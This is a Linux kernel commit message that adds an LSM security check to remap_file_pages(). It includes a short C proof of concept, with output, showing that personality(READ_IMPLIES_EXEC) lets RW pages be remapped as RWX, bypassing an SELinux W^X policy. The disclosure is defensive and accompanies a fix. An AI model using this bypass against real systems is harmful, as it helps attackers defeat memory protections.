mm: call the security_mmap_file() LSM hook in remap_file_pages()

The remap_file_pages syscall handler calls do_mmap() directly, which
doesn't contain the LSM security check. And if the process has called
personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for
RW pages, this will actually result in remapping the pages to RWX,
bypassing a W^X policy enforced by SELinux.

So we should check prot by security_mmap_file LSM hook in the
remap_file_pages syscall handler before do_mmap() is called. Otherwise, it
potentially permits an attacker to bypass a W^X policy enforced by
SELinux.

The bypass is similar to CVE-2016-10044, which bypass the same thing via
AIO and can be found in [1].

The PoC:

$ cat > test.c

int main(void) {
	size_t pagesz = sysconf(_SC_PAGE_SIZE);
	int mfd = syscall(SYS_memfd_create, "test", 0);
	const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,
		MAP_SHARED, mfd, 0);
	unsigned int old = syscall(SYS_personality, 0xffffffff);
	syscall(SYS_personality, READ_IMPLIES_EXEC | old);
	syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);
	syscall(SYS_personality, old);
	// show the RWX page exists even if W^X policy is enforced
	int fd = open("/proc/self/maps", O_RDONLY);
	unsigned char buf2[1024];
	while (1) {
		int ret = read(fd, buf2, 1024);
		if (ret <= 0) break;
		write(1, buf2, ret);
	}
	close(fd);
}

$ gcc test.c -o test
$ ./test | grep rwx
7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)

Link: https://project-zero.issues.chromium.org/issues/42452389 [1]
Cc: stable@vger.kernel.org
Signed-off-by: Shu Han <ebpqwerty472123@gmail.com>
Acked-by: Stephen Smalley <stephen.smalley.work@gmail.com>
[PM: subject line tweaks]
Signed-off-by: Paul Moore <paul@paul-moore.com>

0 files changed, 0 insertions, 0 deletions